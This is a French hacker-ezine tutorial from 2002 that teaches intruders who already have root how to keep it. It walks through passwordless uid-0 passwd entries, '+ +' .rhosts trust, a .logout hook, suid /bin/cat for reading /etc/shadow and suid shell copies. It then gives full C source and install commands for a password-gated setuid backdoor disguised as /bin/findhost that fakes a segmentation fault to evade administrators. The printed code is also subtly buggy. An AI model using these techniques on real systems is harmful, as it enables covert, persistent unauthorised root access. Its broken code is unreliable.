------------------------------------------------------------------------------------------ V. Classic Backdoors, concept & réalisation par NeoFox ------------------------------------------------------------------------------------------ [ Introduction ] Inutile de préciser que cet article s'adresse en particulier aux newbies d'Unix, les pratiquants confirmés étant déja rompus à ce genre d'exercice. [ Sommaire ] Voici comment va s'articuler l'article : Partie I. Le concept -> Généralités -> Les notions clés Partie II. Programmation -> Notions de prog. -> Installation -> comeback.c Partie I : Le concept _____________________ Réaliser une backdoor est une chose relativement simple, si tant est que le neophyte maîtrise quelques notions importantes. Une fois que vous aurez lu ce texte en entier, vous verrez que vous n'aurez plus besion d'aller en chercher sur technotronic.com lorsque vous serez amenés à en utiliser une ... Cette partie va donc rapeller les principales définitions et notions utiles pour comprendre la suite de l'article. 1) Généralités : ________________ [ Vous avez dit backdoor ? ] Le terme "backdoor" signifie littéralement "Porte de derrière", sous-entendu par laquelle vous allez passer pour entrer en douce root sur un système. Une backdoor est un programme, un fichier ou une configuration spéciale qui est mise en place par un intrus passé root, pour lui permettre à l'avenir de garder un accès root sans avoir à ré-exploiter la vulnérabilité initiale. Notre intrus peut donc se repointer sur la machine et passer à nouveau root, même si l'admin à patché la faille d'origine. Il peut s'avérer utile de plaçer plusieurs backdoors de manière à en avoir toujours une sous la main au cas où l'admin viendrait à les découvrir. Le but des backdoors est de vous redonner le root, ou plus exactement de vous permettre d'exécuter des commandes en tant que root. Cela revient donc à exécuter un shell ( interpréteur de commandes ) avec les propriétés root. Du reste, nous le verrons plus loin, c'est exactement ce que fera la backdoor que nous allons programmer. [ Les différents types ] Les backdoors peuvent revétir différentes formes, des plus simples aux plus élaborées. Je vais donc lister les principaux types backdoors mais . /etc/passwd : Rapellons que l'on est root sur le système, donc, que nous avons accès à la totalité des fichiers systèmes, y compris des fichiers sensibles comme les fichiers passwords. Cette backdoor est la plus simple. Elle consiste à ajouter un utilisateur dans le fichier password, utilisateur dont le compte aura uid/gid à 0 mais pas de mot de passe, ce qui aura pour effet de vous donner le root lorsque vous vous loggerez en tant que ce nouvel user. Rapellons que uid/gid signifient "User ID" et "Group ID" soit identifiants d'utilisateur de de groupe. Ce sont comme vous le savez surement des valeurs désignant chaque compte pour en définir les droits. Plus uid/gid sont faibles, plus le compte à de droits, la valeur donnant tout les droits et correspondant au compte root. Une autre solution est d'éditer le fichier passwd à l'aide de vi ou de pico, puis de débloquer un compte par défaut comme "system" ou "adm" et lui ajouter un uid/gid 0. [root@cible.com]# cat /etc/passwd root:*:0:0:Super-User:/:/bin/bash bin:*:1:1::/bin:/bin/bash system::0:0::/:/bin/bash <- adm:*:3:4::/var/adm:/bin/bash lp:*:10:4:Printers:/:/bin/bash john:*:500:20:John Lenon:/home/dead:/bin/sh jack:*:501:20:Jack Chirac:/home/elysee:/bin/sh peter:*:502:20:Peter Pan:/home/peter:/bin/sh wendy:*:503:20:Wendy:/home/wendy:/bin/sh crochet:*:504:20:Capitaine Crochet:/home/crochet:/bin/sh laure:*:69:69:Laure St Claire:/home/salope:/bin/fuck new::0:0:salut tout le monde:/:/bin/sh <- oussama:*:666:666:Thaliban:/home/khaboul:/bin/laden [root@cible.com]# Si vous avez pris le temps de lire en détail chacune des entrées, vous noterez que cet extrait de fichier a été composé avec humour. Vous noterez également la présence flagrante de 2 backdoors. La première est enfait le compte system débloqué, sans mot de passe et avec uid/gid 0 et pour la seconde un nouvel utilisateur a été ajouté. L'ennui avec ce genre de backdoors, c'est qu'on ne peut pas faire plus voyant ! Un administrateur qui jette un coup d'oeil au fichier passwd vous les vire en 3 sec ... ./.rhosts : Vous êtes toujours loggé sur le système en tant que root et donc vous avez accès au homedir root qui n'est autre que la racine. Je pense que vous avez vu où je veux en venir : [root@cible.com]# echo + + >> $HOME/.rhosts [root@cible.com]# exit [user@cible.com]$ rsh -l root localhost sh -i [root@cible.com]# Ce qui aura pour effet de premettre à tout le monde de se connecter au compte root à l'aide des commandes R*. Le premier souci, c'est que vous destinez cette backdoor à votre usage personnel et ce serait dommage que par un putain de hasard un crasher se logge dessus en bouzille tout. Donc le plus judicieux serait de restreindre l'accès root aux seuls utilisateurs venant du système lui même donc : [root@cible.com]# echo localhost + >> $HOME/.rhosts [root@cible.com]# [user@cible.com]$ rsh -l root localhost sh -i [root@cible.com]# Dans ce cas, vous devez faire le rlogin à partir d'un compte utilisateur de la cible, en local. L'autre souci, pareil que pour le fichier /etc/passwd, c'est que l'admin, s'il se doute de quelque chose, aura pour premier réflexe de vérifier le contenu du homedir du root et virer le .rhosts. On peut donc faire la chose suivante : [user@cible.com]$ echo "echo + + > /.rhosts" >> /.logout [user@cible.com]$ Cela aura pour effet d'inclure une commande dans le fichier .logout, commande qui sera exécutée lorsque vous mettrez fin à la session en vous déconnectant. Dans ce cas, à chaque logout, un fichier .rhosts sera crée, donc dans le cas où le root l'aurait viré ... En tout cas, vous ne pouvez l'utiliser que si le port correspondant ( 513 ) est ouvert. De toute façon, cette backdoor classique est trop voyante ... ./bin/cat : Vous vous demandez ce que je veux dire hein ? En fait, ce n'est pas vraiement ce qu'on peut apeller une backdoor mais plutot une petite méthode de secours. Je m'explique : l'admin s'aperçoit que quelqu'un est entré sans être invité. Il va donc se mettre à tout vérifier comme un fou et va finir par trouver et virer vos backdoors si vous les aviez mal cachées. Vu que l'intrus a eut accés au compte root, l'admin va en changer le mot de passe. Le nouveau fichier passwd que de toute façon est shadowed contient donc le nouveau mot de passe root. Avant de partir, vous aviez piqué le fichier shadow pour cracker le pass du root, plus quelques pass utilisateurs. Vous vous repointez donc sur la machine grace l'un des passwords que vous aviez cracké, vous allez chercher ensuite vos backdoors mais vous voyez qu'elles ont été virées. Vous n'avez donc plus l'accès root ... L'exploit que vous aviez utilisé ne fonctionne plus car la faille semble patchée. Le mot de passe root que vous aviez à été changé, c'est la cata .. Dans ce cas là, un petit "cat /etc/shadow" serait bien pratique non ? Seulement voila, vu que le /etc/shadow est en mode 400 c'est à dire en lecture pour le root seul, il ne peut être affiché par un processus utilisateur, normal. L'exécutable /bin/cat appartient au root ... Admettons qu'avant de partir la première fois, vous aviez rendu suid /bin/cat, dans ce cas, à votre retour en simple user, /bin/cat s'exécuterait avec les privilèges root et vous auriez dans ce cas /etc/shadow en lecture ! Voici donc la manoeuvre : [user@cible.com]$ cat /etc/shadow /etc/shadow : Permission Denided [user@cible.com]$ cd [user@cible.com]$ ./votre_exploit [root@cible.com]# whoami root [root@cible.com]# ls -al /bin/cat -rwxr-xr-x 1 root root 12345 01 Oct 11:12 cat [root@cible.com]# chmod +s /bin/cat [root@cible.com]# ls -al /bin/cat -rwsr-sr-x 1 root root 12345 01 Oct 11:12 cat [root@cible.com]# exit [user@cible.com]$ whoami user [user@cible.com]$ cat /etc/shadow root:DLR23dkdç3549d3çd/dz932:0:0::: system:*:1:1:::: - - - - [user@cible.com]$ Voila, si vous avez rendu suid /bin/cat, vous avez donc accès au fichier /etc/shadow en lecture. Notez que ce truc est aussi valable avec /bin/more ou encore /bin/grep. .shell suid : Le shell suid est une backdoor des plus simples, qui permet, à partir d'un compte utilisateur, d'exécuter un shell avec les privilèges root. Seulement voila, la notion de suide est curciale pour la suite donc nous reviendrons plus en détail dans le second paragraphe. On peut combiner le shell suid avec une modifica- -tion de /etc/password comme nous le verrons plus tard, ce qui a pour avantage de se logger en tant qu'user mais d'avoir les privilèges root via le shell suid. .setuid backdoor : Il s'agit d'une backdoor programmable. Sa conception est simple mais nécessite de connaître les fonctions appropriées. Cette backdoor ne peut être utilisée que si l'on à le bon mot de passe. On va consacrer toute la seconde partie à ce type de backdoors. .TCP backdoor : Fallait bien que je trouve un nom à celle-ci ! C'est un type de backdoor qui est basé sur un système client/serveur et qui nécessite une bonne connaissance en programmation réseau. Le principe est simple cependant : Un serveur est lançé en root, en arrière plan, et attend la connction sur un port. A la connection, le serveur exécutera soit un shell, soit d'autres actions prédéterminées. Cette sorte de backdoors mériera un article à elle seule ; on aura l'occasion d'y revenir. Nous venons de voir les principaux types de backdoors. Si ce n'est pas le cas des plus simples, en revanche, les backdoors plus évoluées demandent de maîtriser certaines notions. Voici justement quelques notions importantes ... 2) Les notions clés : _____________________ Nous allons voir deux points importants, la notion de suid et une backdoor qui en découle, le shell suid. [ La notion de SUID ] Sur un système, de nombreux programmes appartiennent au root mais sont sensés être utilisables par de simples users avec les privilèges root. Un exemple concret, l'exécutable "password" qui se situe généralement dans /bin. La commande "password" qui invoque cet exécutable est utilisée par un user pour changer le mot de passe presonnel attribué à son compte. Lorsqu'il l'utilise, il est invité à entrer son ancien mot de passe pour s'authentifier, puis a entrer le nouveau. Le problème est que cette commande doit apporter des modifications dans le fichier de mot de passe qui n'est autre que le célèbre /etc/passwd ou /etc/shadow le cas échant. Seulement ces fichiers sont en écriture uniquement pour le root et ne peuvent donc pas en théorie être modifiés par un processus utilisateur. C'est là qu'intervient la notion de SUID. Le terme "SUID" est la contraction de "set-uid". Lorsque un exécutable est "suid", il peut être exécuté par tous, avec les privilèges (uid) de son propriétaire. Dans notre exemple, le propriétaire de /bin/passwd est le root, uid=0. Si ce programme est suid, cela signifie qu'il sera exécuté avec les privilèges du propriétaire, donc uid=0, ou plus exactement que même s'il est lançé par un simple utilisateur, le processus aura les privilèges root durant son exécution. De cette manière, /etc/passwd poura être modifié par un processus utilisateur. Dans la pratique, la notion de suid se matérialise par la présence d'un bit "s" dans le listing des fichiers : [user@localhost]$ ls -al /bin/passwd -rwsr-sr-x 1 root root 12345 01 Oct 20:32 passwd [user@localhost]$ On voit que le bit "s" prend la place du bit "x" d'exécution. Bon, ça c'est pour le premier "s", mais alors, pourquoi y en a t-il 2 ? Eh bien tout simplement parce que le second "s" est le bit "SGID" qui signifie "Set Group ID" ou "Donne l'ID du groupe". Lorsque ce bit est présent, il donne au processus le gid du groupe auquel appartient le propriétaire de l'exécutable. Dans notre exemple, le bit sgid est présent donc le processus engendré par l'exécution du programme aura les privilèges du groupe root. Le fait qu'un utilisateur puisse lançer un processus avec les droits du root n'est pas sans risque. Dans notre exemple, les droits du root ne seront cédés que pendant le laps de temps de l'exécution de la commande. Mais s'il était possible de faire exécuter à un programme suid une une autre commande, et cela avec les droits du root ... Les exécutables suid dont on peut abuser sont à l'origine de nombreux exploits. Imaginez maintenant que l'exécutable suid soit un shell, c'est à dire un interpréteur de commandes. Dans ce cas, le shell aurait les privilèges du root durant son exécution, c'est à dire que tout les commandes entrées au prompt de ce shell seraient exécutées en root ... C'est une autre forme de backdoor trés simple apellée "shell suid". [ Le shell suid ] Comme nous l'avons dit, cette backdoor consiste à rendre un shell suid et faire en sorte que ce shell soit la propiété du root si ce n'est pas déja le cas. Pour cela, il suffit de copier un shell ( sh, bash, csh, tcsh ... ) dans un dossier et de le rendre suid. La commande utilisé a une syntaxe assez simple. Il s'agit de chmod. Chmod signifie "change mode". C'est la commande qui va permettre de changer le mode, les permissions de notre shell. Nous n'allons pas entrer dans les détails de la commande chmod, mais on va simplement rapeller sa syntaxe à travers un exemple. Ici, nous allons créer un shell suid en copiant le shell /bin/sh dans /bin sous le nom de shell. Notre backdoor sera suid et passera donc plus inaperçue dans la foule d'autres exécuatbles suid que dans /tmp ou autre. Voici comment on va s'y prendre. [root@cible.com]# cp /bin/sh /bin/shell [root@cible.com]# chmod a+s /bin/shell [root@cible.com]# Chmod, apellé avec l'argument a+s va rendre suid /bin/shell pour tout le monde ('a'='all'). Pour enlever le bit suid, la commande aurait été apellée avec "a-s". L'équivalent en utilsant les chiffres plutôt que les symboles serait : [root@cible.com]# cp /bin/sh /bin/shell [root@cible.com]# chmod 7555 /bin/shell [root@cible.com]# Cela revient au même. Dans le cas présent je trouve plus simple la formulation "a+s" ( qui d'ailleurs peut s'abréger "+s" ). L'avantage d'utiliser l'écriture chiffrée apparait lorsque l'on est ammené à manipuler plusieurs modes en même temps. C'est à vous de choisir entre l'une et l'autre écriture. Nous allons donc copier notre shell dans /tmp/shell et le rendre suid. Voici comment utiliser cette backdoor : [root@cible.com]# whoami root [root@cible.com]# cp /bin/sh /tmp/shell [root@cible.com]# chmod +s /tmp/shell [root@cible.com]# exit [user@cible.com]$ whoami user [user@cible.com]$ pwd /home/user [user@cible.com]$ ls -al /tmp/shell -rwsr-sr-x 1 root root 12345 01 Oct 21:30 shell [user@cible.com]$ cd /tmp [user@cible.com]$pwd /tmp [user@cible.com]$./shell [root@cible.com]# whoami root [root@cible.com]# Une variante : Parmi les différentes sortes de shell existant ( sh, bahs, csh, tchs, ksh ) il se peut que tous ne soient pas disponnible. Dans notre exemple, on va dire que ksh n'existe pas. Dans ce cas, en tant que root, vous copiez /bin/sh sous /bin/ksh et vous le rendez suid. Puis vous repérez un utilisateur que ne s'est jamais connecté ou pas depuis longtemps, vous éditez le fichier passwd et modifiez la ligne correspondante au compte de cet utilisateur, vous enlevez son mot de passe et changez son shell en /bin/ksh, puis vous changez la date de modification du fichier passwd. De cette façon, vous pourrez vous connecter sur un shell suid sous l'identité d'un utilisateur x sans mot de passe. C'est une utilisation sympathique mais qui risque d'être vite repéree si l'admin vérifie méthodiquement les entrées du fichier passwd. Voila, nous avons fait le tour du sujet, vous savez à présent ce qu'est un shell suid et comment il s'utilise. Nous allons par la suite nous intéresser à la programmation d'une backdoor toujours trés simple, mais qui demande quand même quelques conaissances en C. Alors me direz vous, pourquoi avoir parlé pendant 5Ko de shell suid, vu qu'on ne va pas en parler dans le reste de cet article ? Eh bien tout simplement parceque notre future backdoor devra elle aussi être suid pour fonctionner. Donc si vous avez pigé la notion de SUID grace à l'exemple du shell, alors c'est tout benef pour la suite. [ UID réel et UID effectif ] L'uid réel est l'id qui est attribuée à l'utilisateur au début de la session. C'est son identifiant de login. C'est le n° d'identification sous lequel le système nous connait. Il peut cependant être modifié, c'est le cas lors de la commande su. En effet, lorsqu'on fait un "su", on substitue notre id par celui d'un autre utilisateur ou par celui du root. Lors d'un su root, notre uid réelle sera donc celle du root, c'est à dire 0. L'uid effectif, encore notée euid, est l'id que l'on possède temporairement, dans une situation précise. C'est l'id qui est effectif à un instant t. Dans une situation normale, uid et euid, uid réel et effectif, son identiques. Mais lorsqu'on exécute un programme suid, comme /bin/passwd que nous avons vu plus haut, on endosse l'uid du root, le temps que la commande soit exécutée. A cet instant précis, notre uid réel est toujours la même mais notre euid est à 0. Pour vous donnner un exemple, compilez ce qui suit : ------------------------8<------------------------------------------------------------------- #include #include int main () { printf("\nUID = %s\t GID = %s\t EUID = %s\n", getuid(), getgid(), geteuid()); return 0; } ------------------------8<------------------------------------------------------------------- ( On reviendra dans le prochain chapître sur les fonctions getuid() ). En admettant que vous soyez : user:*:500:20: Vous :/home/user:/bin/sh Dans ce cas, votre uid est 500 et votre gid est 20. Vous compilez et exécutez le programme d'exemple : [user@localhost]% gcc exemple.c -o exemple [user@localhost]% ./exemple UID = 500 GID = 20 EUID = 500 [user@localhost]% Vous voyez donc qu'à cet instant, votre uid effectif est le même que votre uid réel. Maintenant, exécutez le en tant que root : [user@localhost]% su Password : [root@localhost]# whoami root [root@localhost]# ./exemple UID = 0 GID = 0 EUID = 0 [root@localhost]# Le su vient de plaçer votre uid/gid à 0. On voit, dans ce cas, que l'uid effectif est le même que l'uid réel, à savoir 0. Maintenant, rendez le suid root, et exécutez à nouveau en tant que "user" : [root@localhost]# whoami root [root@localhost]# [root@localhost]# chown root exemple [root@localhost]# chgrp root exemple [root@localhost]# chmod +s exemple [root@localhost]# ls -al exemple -rwsr-sr-x 1 root root 12345 14 0ct 12:12 exemple [root@localhost]# exit [user@localhost]% whoami user [user@localhost]% ./exemple UID = 500 GID = 20 EUID = 0 [user@localhost]% Ici, l'euid est à 0. En fait, lorsqu'on exécute un programme suid, nous avons les privilèges du root le temps de l'exécution, et pendant ce laps de temps, notre euid est à 0 tandis que notre uid réel reste inchangé. Notre backdoor devra être suid root, dans le cas contraire, elle serait mal installée et ne pourrait pas fonctionner. Il faut donc contrôler qu'elle soit bien suid et nous verrons comment faire dans la suite. Voila, on à fait le tour de toutes les notions à connaître et on va pouvoir entrer dans le vif du sujet. Partie II : Programmation __________________________ Maintenant que nous savons ce qu'est une backdoor est comment elle fonctionne, nous allons voir comment en programmer une de notre cru. On va parler ici de la "setuid" backdoor. Nous avons donc besoin de quelques notions de programmation pour y parvenir. Mais tout dabord, faisont la liste de ce dont nous avons besoin. [ Objectifs ] Nous voulons un programme : - qui soit discret ... - qui soit suid - qui nous donne uid/gid 0 - qui nous donne un shell avec les privilèges root OK, le programme n'est pas compliqué mais il requiert certaines fonctions qu'on ne peut pas inventer ... 1) Notions utiles : __________________ [ Un uid 0 ] Nous voulons pouvoir exécuter des commandes en tant que root, et le mieux est de le faire via un shell. Ce shell doit être exécuté avec les privilèges root, c'est à dire avec un uid à 0. Il existe en C une fonction qui se charge de changer notre uid par un autre qu'on lui spécifie. Mais le système ne laissera pas un processus utilisateur, en l'occurence notre backdoor, changer notre uid contre celle du root. Si notre backdoor est exécutée avec les droits d'un simple utilisateur, le changement d'uid ne pourra pas se faire. En revanche, si notre exécutable est suid root, le processus aura les privilèges root durant son exécution. Durant ce laps de temps, le changement d'uid pourra être demandé avec succès. C'est pourquoi notre backdoor devra être suid et appartenir au root. La fonction qui se charge de modifier notre uid est "setuid();" . [ setuid(), setgid() ] La fonction "setuid();" sert à fixer notre uid. Elle est décrite dans le header . Sa sysntaxe est : #include setuid ( uid_t uid ); Comme le programme sera suid, la fonction sera exécutée avec les droits du root et poura donc fixer notre uid à 0. Une fonction analogue est setgid(); laquelle permet de modifier notre gid. Sa syntaxe est identique. Ce sont ces deux fonctions qui permettent de modifier notre uid/gid en leur substituant ceux du root. On va donc écrire : setuid(0); setgid(0); Une fois nos uid/gid fixés, nous devons exécuter un shell. [ system(); ] La fonction system(); permet d'exécuter une commande de notre choix. Dans cette situation, notre choix va se porter sur un shell. On va donc demander à la fonction system de nous exécuter le shell bash. Sa syntaxe est : #include int system (char *commande); Nous allons lui demande d'exécuter un shell ce qui va donner : #include #define cmd "/bin/bash" system(cmd); Comme les fonctions setuid()/setgid() auront mis notre uid/gid à 0 juste avant, notre shell sera exécuté avec les droits du root. [ Les arguments ] Nous voulons un programme qui soit assez discret de manière à ce que l'admin ne le découvre pas. Il doit donc porter un nom crédible, et faire illusion. On peut lui donner un nom comme "display" ou "findhost" et pourquoi pas le mettre suid dans /bin ce qui revient à créer un nouvelle commande. Le mieux est de faire en sorte qu'il ne fournisse un accès root que lorsqu'il est apellé avec un certain argument. Dans le cas contraire, il devra simuler un erreur du genre de "Bus error" ou encore "Segmentation Fault". Il y aura un argument à entrer sur la ligne de commande donc le main doit être apellé par : int main ( int argc, char *argv[] ) où argc signifie "argument count", est de type int et désigne le nombre d'arguments de la ligne de commande. Ici, argv[] est un pointeur de type char qui pointe sur un tableau ... de pointeurs. Il signifie "arguement vector". Donc, argv[0] désigne l'exécutable en lui-même, et argv[1], le premier argument. Comme il n'y aura qu'un argument à entrer, argc=2 car l'argument 0, le programme est aussi à prendre en compte comme élément de la ligne de commande. Notre backdoor devra donc contrôler le nombre d'arguments : if (argc!=2){ fprintf(stderr,"Usage : %s option\n", argv[0]); exit(1); } Ce message sera affiché si le programmme est lançé sans argument, ou avec trop d'arguments, donc si le nombre d'arguments est différent de 2 ( le prog + 1 argu ). La fonction fprintf(); sert ici à affichier le texte sur la sortie d'erreur ("stderr") qui est par défaut l'écran. Une fois le nombre d'arguments controlé, on doit comparer l'argument définit comme mot de passe avec l'argument entré sur la ligne de commande. S'il s'agit du bon argument, le programme donnera un shell avec les privilèges root, dans le cas contraire, vous obtiendrez un message d'erreur crédible. [ strcmp (); ] La fonction strcmp(); signifie "string compare" et à pour role de comparer le contenu de deux varaibles ou de deux chaines de type char. Cette fonction retourne la valeur 0 lorsque les chaînes sont identiques. Elle est définie dans le header et sa syntaxe est : #include char chaine1, chaine2; strcmp( chaine1, chaine2 ); On va donc pouvoir comparer l'argument fourni à la ligne de commande argv[1] avec le mot de passe que l'on aura défini au préalable. #include #include #define password "fox" /* Si l'argument est le bon mot de passe */ if(strcmp(password, argv[1])==0){ /* alors donne le shell root */ } /* Sinon ... */ else { /* ... erreur */ fprintf(stderr,"Segmentation Fault\n"); exit(1); } Dans cet exemple, pour obtenir un shell avec les privilèges root, il faut exécuter notre backdoor avec l'argument "fox". Dans le cas contraire, on obtient un vrai faux message d'erreur. En somme, notre programme se fait passer pour un exécutable tout ce qu'il y a de plus classic mais ne fait office de backdoor que si vous possédez le bon mot de passe. [ SUID ] Nous savons que pour fonctionner, notre backdoor doit être suid root. En pratique, cela veut dire que nous pouvons l'exécuter avec les droits du root, et qu'à ce moment précis, notre euid, uid effectif doit se trouver à 0. Si ce n'est pas le cas, cela signifie que notre backdoor n'est pas suid root et a mal été installée ; ce n'est plus la peine de continuer car de toute façon, elle ne pourra pas fournir les services attendus. [ getuid(), getgid(), geteuid() ] De la même manière qu'il existe les fonction setuid() pour plaçer notre uid à la valeur que l'on désire, il en existe d'autres servant à mesurer la valeur de notre uid/gid/euid : getuid() retourne la valeur de notre uid. getgid () retourne la valeur de notre gid. geteuid() retourne la valeur de notre euid. Ces fonctions s'exécutent toujours avec succès, et ne commettent jamais d'erreur. Elles sont décrites dans le header . Pour contrôler que notre euid soit bien à 0 lors du début de l'exécution de notre backdoor, nous allons donc utiliser : #include if (geteuid()!=0){ printf("Error\n"); exit(1); } Ainsi, dans le cas où notre programme serait mal installé, le programme mettra fin de lui même à son exécution. Une fois cette vérification effectuée, et si tout s'est bien déroulé, le programme poursuit normalement. Voila, on vient de voir les différentes étapes de la programmation de cette backdoor, je vous donne le code source entier juste aprés ça : 2) Installation : _________________ Vous êtes root et vous avez la source de votre backdoor. On va donc la compiler et rendre suid l'exécutable avant de le dissimuler. J'ai baptisé la backdoor "comeback.c" ... [root@cible.com]# gcc comaback.c -o come [root@cible.com]# mv come /bin/findhost [root@cible.com]# chmod +s /bin/findhost [root@cible.com]# rm comeback.c [root@cible.com]# ls -al /bin/findhost -rwsr-sr-x 1 root root 12345 01 Oct 12:15 findhost [root@cible.com]# exit [user@cible.com]$ whoami user [user@cible.com]$ findhost Usage : findhost option [user@cible.com]$ findhost essai Segmentation Fault [user@cible.com]$ findhost fox Comeback v1.0 by neo_fox [IOC] [root@cible.com]# Une installation tout ce qu'il y a de plus simple ! 3) Comeback.c : _______________ Comme promis voici le code source complet : -------------8<--- cut here -------------------------------------------------------------- /* Comeback.c by NeoFox - © 2002 [IOC] - */ #include /* printf, fprintf */ #include /* strcmp */ #include /* setuid, setgid */ #define password "fox" /* As you want ... */ #define command "/bin/sh" /* Our shell */ #define MSG "\033[1;31mComeback v.2 by neofox [IOC]\033[0m\n" int main ( int argc, char *argv[] ) { / * Only one argument ! */ if (argc!=2){ fprintf(stderr,"Usage : %s option\n", argv[0]); exit(1); } /* Checking password ... */ if (strcmp(password, argv[0])==0){ /* the backdoor must be suid root */ if(geteuid()!=0){ fprintf(stderr,"Comeback is not SUID Root, exit !\n"); exit(1); } /* Allright, let's go ! */ fprintf(stdout,MSG); setuid(0); setgid(0); system(command); } else { /* Sorry ! */ fprintf(stderr,"Segmentation Fault\n"); exit(1); } return 0; } -------------8<--- cut here -------------------------------------------------------------- [ Conclusion ] Voila, en espérant que vous ayez appris quelque chose de ce texte ... Je vais conclure comme d'habitude en vous disant que si vous avez des questions, des suggestions ou des remarques à me faire parvenir, n'hésitez pas à me mailer ou prenez rendrez-vous avec ma secrétaire ! neo_fox_2001@hotmail.com UIN #130722451 NeoFox